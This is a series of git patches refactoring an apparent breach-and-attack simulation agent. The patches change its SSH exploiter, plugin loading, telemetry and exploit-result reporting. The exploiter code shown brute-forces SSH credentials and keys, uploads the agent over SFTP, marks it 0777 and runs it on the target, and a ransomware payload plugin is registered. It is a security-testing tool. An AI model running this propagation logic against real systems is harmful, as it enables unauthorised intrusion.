From f2b2a9c5c3a0fc91a8d5be635126493c08e55075 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 21 Feb 2022 10:56:31 +0100 Subject: [PATCH 01/12] Agent: Modify SSH exploit * Remove credential hashes from logs * Get rid of config and use brute_force utils * Use telemetry messenger to send attack telemetries * Zerologon and Powershell needs to be revised based on UT --- .../infection_monkey/exploit/HostExploiter.py | 14 +++-- monkey/infection_monkey/exploit/sshexec.py | 54 ++++++++++--------- monkey/infection_monkey/monkey.py | 5 +- monkey/infection_monkey/puppet/puppet.py | 10 ++-- .../infection_monkey/puppet/test_puppet.py | 15 ++++-- 5 files changed, 62 insertions(+), 36 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 744ea57e8..017451188 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -1,10 +1,12 @@ import logging from abc import abstractmethod from datetime import datetime +from typing import Dict from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.config import WormConfiguration +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger logger = logging.getLogger(__name__) @@ -26,7 +28,7 @@ class HostExploiter: def _EXPLOITED_SERVICE(self): pass - def __init__(self, host): + def __init__(self): self._config = WormConfiguration self.exploit_info = { "display_name": self._EXPLOITED_SERVICE, @@ -37,7 +39,9 @@ class HostExploiter: "executed_cmds": [], } self.exploit_attempts = [] - self.host = host + self.host = None + self.telemetry_messenger = None + self.options = {} def set_start_time(self): self.exploit_info["started"] = datetime.now().isoformat() @@ -71,7 +75,11 @@ class HostExploiter: } ) - def exploit_host(self): + def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict): + self.host = host + self.telemetry_messenger = telemetry_messenger + self.options = options + self.pre_exploit() result = None try: diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index a989ea66c..63f4c7bd9 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -14,6 +14,7 @@ from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem +from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline logger = logging.getLogger(__name__) @@ -26,8 +27,8 @@ class SSHExploiter(HostExploiter): EXPLOIT_TYPE = ExploitType.BRUTE_FORCE _EXPLOITED_SERVICE = "SSH" - def __init__(self, host): - super(SSHExploiter, self).__init__(host) + def __init__(self): + super(SSHExploiter, self).__init__() self._update_timestamp = 0 def log_transfer(self, transferred, total): @@ -37,7 +38,10 @@ class SSHExploiter(HostExploiter): self._update_timestamp = time.time() def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: - user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs() + user_ssh_key_pairs = generate_identity_secret_pairs( + identities=self.options["credentials"]["exploit_user_list"], + secrets=self.options["credentials"]["exploit_ssh_keys"], + ) for user, ssh_key_pair in user_ssh_key_pairs: # Creating file-like private key for paramiko @@ -67,7 +71,10 @@ class SSHExploiter(HostExploiter): raise FailedExploitationError def exploit_with_login_creds(self, port) -> paramiko.SSHClient: - user_password_pairs = self._config.get_exploit_user_password_pairs() + user_password_pairs = generate_identity_secret_pairs( + identities=self.options["credentials"]["exploit_user_list"], + secrets=self.options["credentials"]["exploit_password_list"], + ) for user, current_password in user_password_pairs: @@ -76,23 +83,16 @@ class SSHExploiter(HostExploiter): try: ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port) - logger.debug( - "Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)", - self.host, - user, - self._config.hash_sensitive_data(current_password), - ) + logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) self.add_vuln_port(port) self.report_login_attempt(True, user, current_password) return ssh except Exception as exc: logger.debug( - "Error logging into victim %r with user" - " %s and password (SHA-512) '%s': (%s)", + "Error logging into victim %r with user" " %s: (%s)", self.host, user, - self._config.hash_sensitive_data(current_password), exc, ) self.report_login_attempt(False, user, current_password) @@ -159,37 +159,41 @@ class SSHExploiter(HostExploiter): with monkeyfs.open(src_path) as file_obj: ftp.putfo( file_obj, - self._config.dropper_target_path_linux, + self.options["dropper_target_path_linux"], file_size=monkeyfs.getsize(src_path), callback=self.log_transfer, ) - ftp.chmod(self._config.dropper_target_path_linux, 0o777) + ftp.chmod(self.options["dropper_target_path_linux"], 0o777) status = ScanStatus.USED - T1222Telem( - ScanStatus.USED, - "chmod 0777 %s" % self._config.dropper_target_path_linux, - self.host, - ).send() + self.telemetry_messenger.send_telemetry( + T1222Telem( + ScanStatus.USED, + "chmod 0777 %s" % self.options["dropper_target_path_linux"], + self.host, + ) + ) ftp.close() except Exception as exc: logger.debug("Error uploading file into victim %r: (%s)", self.host, exc) status = ScanStatus.SCANNED - T1105Telem( - status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path - ).send() + self.telemetry_messenger.send_telemetry( + T1105Telem( + status, get_interface_to_target(self.host.ip_addr), self.host.ip_addr, src_path + ) + ) if status == ScanStatus.SCANNED: return False try: - cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG) + cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) cmdline += " > /dev/null 2>&1 &" ssh.exec_command(cmdline) logger.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)", - self._config.dropper_target_path_linux, + self.options["dropper_target_path_linux"], self.host, cmdline, ) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index c8132e054..5c36b0278 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -16,6 +16,7 @@ from infection_monkey.credential_collectors import ( MimikatzCredentialCollector, SSHCredentialCollector, ) +from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel @@ -194,7 +195,7 @@ class InfectionMonkey: return local_network_interfaces def _build_puppet(self) -> IPuppet: - puppet = Puppet() + puppet = Puppet(self.telemetry_messenger) puppet.load_plugin( "MimikatzCollector", @@ -213,6 +214,8 @@ class InfectionMonkey: puppet.load_plugin("smb", SMBFingerprinter(), PluginType.FINGERPRINTER) puppet.load_plugin("ssh", SSHFingerprinter(), PluginType.FINGERPRINTER) + puppet.load_plugin("SSHExploiter", SSHExploiter(), PluginType.EXPLOITER) + puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) return puppet diff --git a/monkey/infection_monkey/puppet/puppet.py b/monkey/infection_monkey/puppet/puppet.py index bea4695b3..1e4ce7e96 100644 --- a/monkey/infection_monkey/puppet/puppet.py +++ b/monkey/infection_monkey/puppet/puppet.py @@ -14,6 +14,7 @@ from infection_monkey.i_puppet import ( PostBreachData, ) +from ..telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from .mock_puppet import MockPuppet from .plugin_registry import PluginRegistry @@ -21,9 +22,10 @@ logger = logging.getLogger() class Puppet(IPuppet): - def __init__(self) -> None: + def __init__(self, telemetry_messenger: ITelemetryMessenger) -> None: self._mock_puppet = MockPuppet() self._plugin_registry = PluginRegistry() + self._telemetry_messenger = telemetry_messenger def load_plugin(self, plugin_name: str, plugin: object, plugin_type: PluginType) -> None: self._plugin_registry.load_plugin(plugin_name, plugin, plugin_type) @@ -56,10 +58,12 @@ class Puppet(IPuppet): fingerprinter = self._plugin_registry.get_plugin(name, PluginType.FINGERPRINTER) return fingerprinter.get_host_fingerprint(host, ping_scan_data, port_scan_data, options) + # TODO: host should be VictimHost, at the moment it can't because of circular dependency def exploit_host( - self, name: str, host: str, options: Dict, interrupt: threading.Event + self, name: str, host: object, options: Dict, interrupt: threading.Event ) -> ExploiterResultData: - return self._mock_puppet.exploit_host(name, host, options, interrupt) + exploiter = self._plugin_registry.get_plugin(name, PluginType.EXPLOITER) + return exploiter.exploit_host(host, self._telemetry_messenger, options) def run_payload(self, name: str, options: Dict, interrupt: threading.Event): payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD) diff --git a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py index 950bc329b..54b9275ae 100644 --- a/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py +++ b/monkey/tests/unit_tests/infection_monkey/puppet/test_puppet.py @@ -1,12 +1,19 @@ import threading from unittest.mock import MagicMock +import pytest + from infection_monkey.i_puppet import PluginType from infection_monkey.puppet.puppet import Puppet -def test_puppet_run_payload_success(monkeypatch): - p = Puppet() +@pytest.fixture +def mock_telemetry_messenger(): + return MagicMock() + + +def test_puppet_run_payload_success(monkeypatch, mock_telemetry_messenger): + p = Puppet(mock_telemetry_messenger) payload = MagicMock() payload_name = "PayloadOne" @@ -17,8 +24,8 @@ def test_puppet_run_payload_success(monkeypatch): payload.run.assert_called_once() -def test_puppet_run_multiple_payloads(monkeypatch): - p = Puppet() +def test_puppet_run_multiple_payloads(monkeypatch, mock_telemetry_messenger): + p = Puppet(mock_telemetry_messenger) payload_1 = MagicMock() payload1_name = "PayloadOne" From 58b1a04bd702e3a3bd3dbab4d82b9aabb8c6a763 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 22 Feb 2022 19:30:53 +0100 Subject: [PATCH 02/12] Agent: Modify exploit_host() to accept object instead of string --- monkey/infection_monkey/i_puppet/i_puppet.py | 7 +++++-- monkey/infection_monkey/master/exploiter.py | 2 +- monkey/infection_monkey/puppet/mock_puppet.py | 5 +++-- 3 files changed, 9 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index 79bd3b4fe..78c0c9659 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -102,16 +102,19 @@ class IPuppet(metaclass=abc.ABCMeta): :rtype: FingerprintData """ + # TODO: host should be VictimHost, at the moment it can't because of circular dependency @abc.abstractmethod def exploit_host( - self, name: str, host: str, options: Dict, interrupt: threading.Event + self, name: str, host: object, options: Dict, interrupt: threading.Event ) -> ExploiterResultData: """ Runs an exploiter against a remote host :param str name: The name of the exploiter to run - :param str host: The domain name or IP address of a host + :param object host: The domain name or IP address of a host :param Dict options: A dictionary containing options that modify the behavior of the exploiter + :param threading.Event interrupt: A threading.Event object that signals the exploit to stop + executing and clean itself up. :return: True if exploitation was successful, False otherwise :rtype: ExploiterResultData """ diff --git a/monkey/infection_monkey/master/exploiter.py b/monkey/infection_monkey/master/exploiter.py index 092bc78d8..5a76b20a8 100644 --- a/monkey/infection_monkey/master/exploiter.py +++ b/monkey/infection_monkey/master/exploiter.py @@ -115,7 +115,7 @@ class Exploiter: credentials = self._get_credentials_for_propagation() options = {"credentials": credentials, **options} - return self._puppet.exploit_host(exploiter_name, victim_host.ip_addr, options, stop) + return self._puppet.exploit_host(exploiter_name, victim_host, options, stop) def _get_credentials_for_propagation(self) -> Mapping: try: diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index 453265f55..8a7f5935d 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -134,8 +134,9 @@ class MockPuppet(IPuppet): return empty_fingerprint_data + # TODO: host should be VictimHost, at the moment it can't because of circular dependency def exploit_host( - self, name: str, host: str, options: Dict, interrupt: threading.Event + self, name: str, host: object, options: Dict, interrupt: threading.Event ) -> ExploiterResultData: logger.debug(f"exploit_hosts({name}, {host}, {options})") attempts = [ @@ -209,7 +210,7 @@ class MockPuppet(IPuppet): } try: - return successful_exploiters[host][name] + return successful_exploiters[host.ip_addr][name] except KeyError: return ExploiterResultData( False, False, os_linux, {}, [], f"{name} failed for host {host}" From 522d0d388de699d4ab2689a5d2471388db0fd3c6 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 22 Feb 2022 19:38:33 +0100 Subject: [PATCH 03/12] Agent: Modify SSH exploiter to return ExploiterResultData --- .../infection_monkey/exploit/HostExploiter.py | 20 +++++ monkey/infection_monkey/exploit/sshexec.py | 75 ++++++++++++++----- 2 files changed, 75 insertions(+), 20 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 017451188..ad458a480 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -6,6 +6,7 @@ from typing import Dict from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.config import WormConfiguration +from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger logger = logging.getLogger(__name__) @@ -42,6 +43,7 @@ class HostExploiter: self.host = None self.telemetry_messenger = None self.options = {} + self.exploit_result = {} def set_start_time(self): self.exploit_info["started"] = datetime.now().isoformat() @@ -93,6 +95,14 @@ class HostExploiter: return result def pre_exploit(self): + self.exploit_result = { + "exploitation_success": False, + "propagation_success": False, + "os": self.host.os.get("type"), + "info": self.exploit_info, + "attempts": self.exploit_attempts, + "error_message": "", + } self.set_start_time() def post_exploit(self): @@ -115,3 +125,13 @@ class HostExploiter: """ powershell = True if "powershell" in cmd.lower() else False self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) + + def get_exploit_result_data(self) -> ExploiterResultData: + return ExploiterResultData( + self.exploit_result["exploitation_success"], + self.exploit_result["propagation_success"], + self.exploit_result["os"], + self.exploit_result["info"], + self.exploit_result["attempts"], + self.exploit_result["error_message"], + ) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 63f4c7bd9..5b014af7e 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -10,6 +10,7 @@ from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey +from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import MONKEY_ARG from infection_monkey.network.tools import check_tcp_port, get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem @@ -100,9 +101,9 @@ class SSHExploiter(HostExploiter): continue raise FailedExploitationError - def _exploit_host(self): - + def _exploit_host(self) -> ExploiterResultData: port = SSH_PORT + # if ssh banner found on different port, use that port. for servkey, servdata in list(self.host.services.items()): if servdata.get("name") == "ssh" and servkey.startswith("tcp-"): @@ -110,17 +111,25 @@ class SSHExploiter(HostExploiter): is_open, _ = check_tcp_port(self.host.ip_addr, port) if not is_open: - logger.info("SSH port is closed on %r, skipping", self.host) - return False + self.exploit_result["error_message"] = f"SSH port is closed on {self.host}, skipping" + + logger.info(self.exploit_result["error_message"]) + return self.get_exploit_result_data() try: ssh = self.exploit_with_ssh_keys(port) + self.exploit_result["exploitation_success"] = True except FailedExploitationError: try: ssh = self.exploit_with_login_creds(port) + self.exploit_result["exploitation_success"] = True except FailedExploitationError: - logger.debug("Exploiter SSHExploiter is giving up...") - return False + self.exploit_result["error_message"] = "Exploiter SSHExploiter is giving up..." + self.exploit_result["exploitation_success"] = False + self.exploit_result["propagation_success"] = False + + logger.debug(self.exploit_result["error_message"]) + return self.get_exploit_result_data() if not self.host.os.get("type"): try: @@ -128,12 +137,21 @@ class SSHExploiter(HostExploiter): uname_os = stdout.read().lower().strip().decode() if "linux" in uname_os: self.host.os["type"] = "linux" + self.exploit_result["os"] = "linux" else: - logger.info("SSH Skipping unknown os: %s", uname_os) - return False + self.exploit_result["error_message"] = f"SSH Skipping unknown os: {uname_os}" + + if not uname_os: + logger.error(self.exploit_result["error_message"]) + return self.get_exploit_result_data() except Exception as exc: - logger.debug("Error running uname os command on victim %r: (%s)", self.host, exc) - return False + self.exploit_result["propagation_success"] = False + self.exploit_result[ + "error_message" + ] = f"Error running uname os command on victim {self.host}: ({exc})" + + logger.debug(self.exploit_result["error_message"]) + return self.get_exploit_result_data() if not self.host.os.get("machine"): try: @@ -142,15 +160,21 @@ class SSHExploiter(HostExploiter): if "" != uname_machine: self.host.os["machine"] = uname_machine except Exception as exc: - logger.debug( - "Error running uname machine command on victim %r: (%s)", self.host, exc - ) + self.exploit_result[ + "error_message" + ] = f"Error running uname machine command on victim {self.host}: ({exc})" + logger.error(self.exploit_result["error_message"]) src_path = get_target_monkey(self.host) if not src_path: - logger.info("Can't find suitable monkey executable for host %r", self.host) - return False + self.exploit_result["propagation_success"] = False + self.exploit_result[ + "error_message" + ] = f"Can't find suitable monkey executable for host {self.host}" + + logger.info(self.exploit_result["error_message"]) + return self.get_exploit_result_data() try: ftp = ssh.open_sftp() @@ -174,7 +198,11 @@ class SSHExploiter(HostExploiter): ) ftp.close() except Exception as exc: - logger.debug("Error uploading file into victim %r: (%s)", self.host, exc) + self.exploit_result["propagation_success"] = False + self.exploit_result[ + "error_message" + ] = f"Error uploading file into victim {self.host}: ({exc})" + logger.error(self.exploit_result["error_message"]) status = ScanStatus.SCANNED self.telemetry_messenger.send_telemetry( @@ -183,7 +211,7 @@ class SSHExploiter(HostExploiter): ) ) if status == ScanStatus.SCANNED: - return False + return self.get_exploit_result_data() try: cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG) @@ -198,10 +226,17 @@ class SSHExploiter(HostExploiter): cmdline, ) + self.exploit_result["propagation_success"] = True + ssh.close() self.add_executed_cmd(cmdline) - return True + return self.get_exploit_result_data() except Exception as exc: - logger.debug("Error running monkey on victim %r: (%s)", self.host, exc) - return False + self.exploit_result["propagation_success"] = False + self.exploit_result[ + "error_message" + ] = f"Error running monkey on victim {self.host}: ({exc})" + + logger.error(self.exploit_result["error_message"]) + return self.get_exploit_result_data() From 4dfe0cf7dbfff67df791535b3ef35e1991b60ad6 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 22 Feb 2022 19:42:06 +0100 Subject: [PATCH 04/12] Agent: Remove monkey import from exploit_telem --- monkey/infection_monkey/telemetry/exploit_telem.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/telemetry/exploit_telem.py b/monkey/infection_monkey/telemetry/exploit_telem.py index 5c131dc77..c276e1b8f 100644 --- a/monkey/infection_monkey/telemetry/exploit_telem.py +++ b/monkey/infection_monkey/telemetry/exploit_telem.py @@ -3,7 +3,7 @@ from typing import Dict from common.common_consts.telem_categories import TelemCategoryEnum from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.base_telem import BaseTelem -from monkey.infection_monkey.i_puppet.i_puppet import ExploiterResultData +from infection_monkey.i_puppet.i_puppet import ExploiterResultData class ExploitTelem(BaseTelem): From a0b5ac2330122a426f8e4037117b90d3b1c9b0ea Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 22 Feb 2022 19:56:40 +0100 Subject: [PATCH 05/12] Agent: Fix monkey exploitation reporting --- .../reporting/exploitations/monkey_exploitation.py | 2 +- .../monkey_island/cc/services/reporting/test_report.py | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py b/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py index f06d23274..17825e0cf 100644 --- a/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py +++ b/monkey/monkey_island/cc/services/reporting/exploitations/monkey_exploitation.py @@ -56,7 +56,7 @@ def get_exploits_used_on_node(node: dict) -> List[str]: [ ExploiterDescriptorEnum.get_by_class_name(exploit["exploiter"]).display_name for exploit in node["exploits"] - if exploit["result"] + if exploit["exploitation_result"] ] ) ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py index 851ae9a99..efc59f5ae 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py @@ -94,7 +94,7 @@ NODE_DICT = { "dead": True, "exploits": [ { - "result": True, + "exploitation_result": True, "exploiter": "DrupalExploiter", "info": { "display_name": "Drupal Server", @@ -109,7 +109,7 @@ NODE_DICT = { "origin": "MonkeyIsland : 192.168.56.1", }, { - "result": True, + "exploitation_result": True, "exploiter": "ElasticGroovyExploiter", "info": { "display_name": "Elastic search", @@ -130,8 +130,8 @@ NODE_DICT_DUPLICATE_EXPLOITS = deepcopy(NODE_DICT) NODE_DICT_DUPLICATE_EXPLOITS["exploits"][1] = NODE_DICT_DUPLICATE_EXPLOITS["exploits"][0] NODE_DICT_FAILED_EXPLOITS = deepcopy(NODE_DICT) -NODE_DICT_FAILED_EXPLOITS["exploits"][0]["result"] = False -NODE_DICT_FAILED_EXPLOITS["exploits"][1]["result"] = False +NODE_DICT_FAILED_EXPLOITS["exploits"][0]["exploitation_result"] = False +NODE_DICT_FAILED_EXPLOITS["exploits"][1]["exploitation_result"] = False @pytest.fixture From 03178b6011a435a2130b6cff58e124ceab721c93 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Wed, 23 Feb 2022 10:04:56 +0100 Subject: [PATCH 06/12] Island: Fix attack technique T1210 --- .../monkey_island/cc/services/attack/technique_reports/T1210.py | 2 +- .../monkey_island/cc/services/telemetry/processing/exploit.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index 91eb42d8b..89f8adbc1 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -61,7 +61,7 @@ class T1210(AttackTechnique): def get_exploited_services(): results = mongo.db.telemetry.aggregate( [ - {"$match": {"telem_category": "exploit", "data.result": True}}, + {"$match": {"telem_category": "exploit", "data.exploitation_result": True}}, { "$group": { "_id": {"ip_addr": "$data.machine.ip_addr"}, diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index 6cd4bc4ae..c63672127 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -24,7 +24,7 @@ def process_exploit_telemetry(telemetry_json): check_machine_exploited( current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]), - exploit_successful=telemetry_json["data"]["exploitation_success"], + exploit_successful=telemetry_json["data"]["exploitation_result"], exploiter=telemetry_json["data"]["exploiter"], target_ip=telemetry_json["data"]["machine"]["ip_addr"], timestamp=telemetry_json["timestamp"], From 6cdb86aa4b81b3c24801880d0070d727c1b69c3d Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Feb 2022 17:10:53 +0530 Subject: [PATCH 07/12] Agent: Add TODO comment for VictimHost type hint to HostExploiter.py --- monkey/infection_monkey/exploit/HostExploiter.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index ad458a480..9c8ddd4d4 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -77,6 +77,7 @@ class HostExploiter: } ) + # TODO: host should be VictimHost, at the moment it can't because of circular dependency def exploit_host(self, host, telemetry_messenger: ITelemetryMessenger, options: Dict): self.host = host self.telemetry_messenger = telemetry_messenger From 4ecc5283e5ec2ee388449a3b79153e5494337bbf Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Feb 2022 17:11:53 +0530 Subject: [PATCH 08/12] Agent: Rename function for returning ExploiterResultData --- monkey/infection_monkey/exploit/HostExploiter.py | 2 +- monkey/infection_monkey/exploit/sshexec.py | 16 ++++++++-------- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 9c8ddd4d4..46e43c87a 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -127,7 +127,7 @@ class HostExploiter: powershell = True if "powershell" in cmd.lower() else False self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) - def get_exploit_result_data(self) -> ExploiterResultData: + def return_exploit_result_data(self) -> ExploiterResultData: return ExploiterResultData( self.exploit_result["exploitation_success"], self.exploit_result["propagation_success"], diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 5b014af7e..95be5af80 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -114,7 +114,7 @@ class SSHExploiter(HostExploiter): self.exploit_result["error_message"] = f"SSH port is closed on {self.host}, skipping" logger.info(self.exploit_result["error_message"]) - return self.get_exploit_result_data() + return self.return_exploit_result_data() try: ssh = self.exploit_with_ssh_keys(port) @@ -129,7 +129,7 @@ class SSHExploiter(HostExploiter): self.exploit_result["propagation_success"] = False logger.debug(self.exploit_result["error_message"]) - return self.get_exploit_result_data() + return self.return_exploit_result_data() if not self.host.os.get("type"): try: @@ -143,7 +143,7 @@ class SSHExploiter(HostExploiter): if not uname_os: logger.error(self.exploit_result["error_message"]) - return self.get_exploit_result_data() + return self.return_exploit_result_data() except Exception as exc: self.exploit_result["propagation_success"] = False self.exploit_result[ @@ -151,7 +151,7 @@ class SSHExploiter(HostExploiter): ] = f"Error running uname os command on victim {self.host}: ({exc})" logger.debug(self.exploit_result["error_message"]) - return self.get_exploit_result_data() + return self.return_exploit_result_data() if not self.host.os.get("machine"): try: @@ -174,7 +174,7 @@ class SSHExploiter(HostExploiter): ] = f"Can't find suitable monkey executable for host {self.host}" logger.info(self.exploit_result["error_message"]) - return self.get_exploit_result_data() + return self.return_exploit_result_data() try: ftp = ssh.open_sftp() @@ -211,7 +211,7 @@ class SSHExploiter(HostExploiter): ) ) if status == ScanStatus.SCANNED: - return self.get_exploit_result_data() + return self.return_exploit_result_data() try: cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG) @@ -230,7 +230,7 @@ class SSHExploiter(HostExploiter): ssh.close() self.add_executed_cmd(cmdline) - return self.get_exploit_result_data() + return self.return_exploit_result_data() except Exception as exc: self.exploit_result["propagation_success"] = False @@ -239,4 +239,4 @@ class SSHExploiter(HostExploiter): ] = f"Error running monkey on victim {self.host}: ({exc})" logger.error(self.exploit_result["error_message"]) - return self.get_exploit_result_data() + return self.return_exploit_result_data() From 58703f9b5b2698ea04268c784eb5e27328ae1411 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Feb 2022 17:38:48 +0530 Subject: [PATCH 09/12] Agent: Remove code that set `exploit_result`'s fields to the default value in SSH exploiter --- monkey/infection_monkey/exploit/sshexec.py | 7 ------- 1 file changed, 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 95be5af80..3fcf4605f 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -125,9 +125,6 @@ class SSHExploiter(HostExploiter): self.exploit_result["exploitation_success"] = True except FailedExploitationError: self.exploit_result["error_message"] = "Exploiter SSHExploiter is giving up..." - self.exploit_result["exploitation_success"] = False - self.exploit_result["propagation_success"] = False - logger.debug(self.exploit_result["error_message"]) return self.return_exploit_result_data() @@ -145,7 +142,6 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result["error_message"]) return self.return_exploit_result_data() except Exception as exc: - self.exploit_result["propagation_success"] = False self.exploit_result[ "error_message" ] = f"Error running uname os command on victim {self.host}: ({exc})" @@ -168,7 +164,6 @@ class SSHExploiter(HostExploiter): src_path = get_target_monkey(self.host) if not src_path: - self.exploit_result["propagation_success"] = False self.exploit_result[ "error_message" ] = f"Can't find suitable monkey executable for host {self.host}" @@ -198,7 +193,6 @@ class SSHExploiter(HostExploiter): ) ftp.close() except Exception as exc: - self.exploit_result["propagation_success"] = False self.exploit_result[ "error_message" ] = f"Error uploading file into victim {self.host}: ({exc})" @@ -233,7 +227,6 @@ class SSHExploiter(HostExploiter): return self.return_exploit_result_data() except Exception as exc: - self.exploit_result["propagation_success"] = False self.exploit_result[ "error_message" ] = f"Error running monkey on victim {self.host}: ({exc})" From 2a8186928d237a21b4d696795ebbf859adb5a7a1 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Wed, 23 Feb 2022 17:42:00 +0530 Subject: [PATCH 10/12] Agent: Remove unused function `send_exploit_telemetry` in `HostExploiter` --- monkey/infection_monkey/exploit/HostExploiter.py | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 46e43c87a..7c3750b03 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -54,17 +54,6 @@ class HostExploiter: def is_os_supported(self): return self.host.os.get("type") 